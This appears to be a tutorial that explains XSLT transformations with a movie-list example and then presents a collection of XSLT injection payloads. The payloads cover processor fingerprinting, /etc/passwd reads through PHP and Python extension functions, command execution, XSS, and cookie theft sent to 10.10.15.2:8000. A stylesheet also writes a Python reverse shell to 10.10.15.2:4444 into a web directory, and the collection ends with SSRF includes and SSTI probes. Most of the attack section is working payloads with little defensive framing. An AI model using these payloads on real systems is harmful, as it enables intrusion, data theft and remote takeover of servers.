XSLT is a language providing transformation of XML documents. It can select specific nodes from an XML document and change the XML structure.
XSLT works with XML-based data so its needs an .xml document. We can use any dummy .xml file.
<?xml version="1.0" encoding="UTF-8"?>
<collection>
<movie>
<name>Home Alone</name>
<year>1995</year>
<genre>Comedy</genre>
</movie>
<movie>
<name>Terminator</name>
<year>1995</year>
<genre>Action</genre>
</movie>
<movie>
<name>Interstellar</name>
<year>2021</year>
<genre>Sci-Fi</genre>
</movie>
</collection>
If we open the file in the browser see the same format.

If we want to apply any styling or formatting to this data we can do this with XSL and XSLT.
- XSl: extensible stylesheet language
- XSLT: XSL Transformations
XSLT is used to transform XML documents into other format like html or text. We can link the .xslt file to the .xml file and this way the output.
Output to format in HTML
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="transform.xslt"?>
<collection>
<movie>
<name>Home Alone</name>
<year>1995</year>
<genre>Comedy</genre>
</movie>
<movie>
<name>Terminator</name>
<year>1995</year>
<genre>Action</genre>
</movie>
<movie>
<name>Interstellar</name>
<year>2021</year>
<genre>Sci-Fi</genre>
</movie>
</collection>
test.xslt
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/collection">
The movies:
<xsl:for-each select="movie">
<xsl:value-of select="name"/> (<xsl:value-of select="year"/>, <xsl:value-of select="genre"/>)
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
Now we have output like text.

But we can also format the data into tables using html coming from the .xml file.

XSLT Injection
When user input is inserted into XSL data before output generated by XSLT its XSLT injection. We can add extra XLS elements into XLS data which the XSLT processor will execute.
We can extract XSLT process information
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text>, </xsl:text>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
<xsl:text>, </xsl:text>
<xsl:value-of select="system-property('xsl:version')"/>
</xsl:template>
</xsl:stylesheet>
The browser returns
XSLT Processor Information:
Version: 1.0
Vendor: libxslt
Vendor URL: http://xmlsoft.org/XSLT/
PHP
LFI
LFI: <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
File read
PHP file read: <xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
RCE
PHP RCE: <xsl:value-of select="php:function('system','id')" />
XSS
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:text disable-output-escaping="yes"><script>alert('XSS')</script></xsl:text>
</xsl:template>
</xsl:stylesheet>
Or get cookie
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:text disable-output-escaping="yes"><script>window.location='http://10.10.15.2:8000/?c='+document.cookie</script></xsl:text>
</xsl:template>
</xsl:stylesheet>
Python
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:python="http://exslt.org/python">
<xsl:template match="/">
<xsl:text disable-output-escaping="yes"><script>alert('XSS')</script></xsl:text>
Python RCE: <xsl:value-of select="python:exec('import os; os.system("id")')" /><br/>
Python eval: <xsl:value-of select="python:eval('__import__("os").popen("whoami").read()')" /><br/>
File read: <xsl:value-of select="python:eval('open("/etc/passwd").read()')" />
</xsl:template>
</xsl:stylesheet>
Python write file
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:document href="/var/www/website/scripts/rev.py" method="text">
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.2",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/bash","-i"]);
</xsl:document>
<result>Done</result>
</xsl:template>
</xsl:stylesheet>
SSRF
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:include href="http://localhost:80/"/>
<xsl:template match="/"></xsl:template>
</xsl:stylesheet>
SSRF with file:///
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<!-- Local file read via file:// -->
<xsl:include href="file:///etc/passwd"/>
<xsl:template match="/"></xsl:template>
</xsl:stylesheet>
SSTI
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>Movie Collection</h2>
<ul>
<xsl:for-each select="//movie">
<li>
<xsl:value-of select="name"/>
(<xsl:value-of select="year"/>) -
<xsl:value-of select="genre"/>
</li>
</xsl:for-each>
</ul>
<hr/>
<h3>SSTI Tests:</h3>
<p>Jinja2: {{7*7}}</p>
<p>FreeMarker: ${7*7}</p>
<p>ERB: <%= 7*7 %></p>
<p>Jinja2 alt: ${{7*7}}</p>
<p>Ruby: #{7*7}</p>
<p>Plain: {7*7}</p>
<p>Velocity: %{7*7}</p>
<h3>Jinja2 Advanced:</h3>
<p>Config: {{config}}</p>
<p>Self: {{self}}</p>
<p>Request: {{request}}</p>
<p>Lipsum: {{lipsum}}</p>
<p>Cycler: {{cycler}}</p>
<p>Joiner: {{joiner}}</p>
<p>Namespace: {{namespace}}</p>
</body>
</html>
</xsl:template>
</xsl:stylesheet>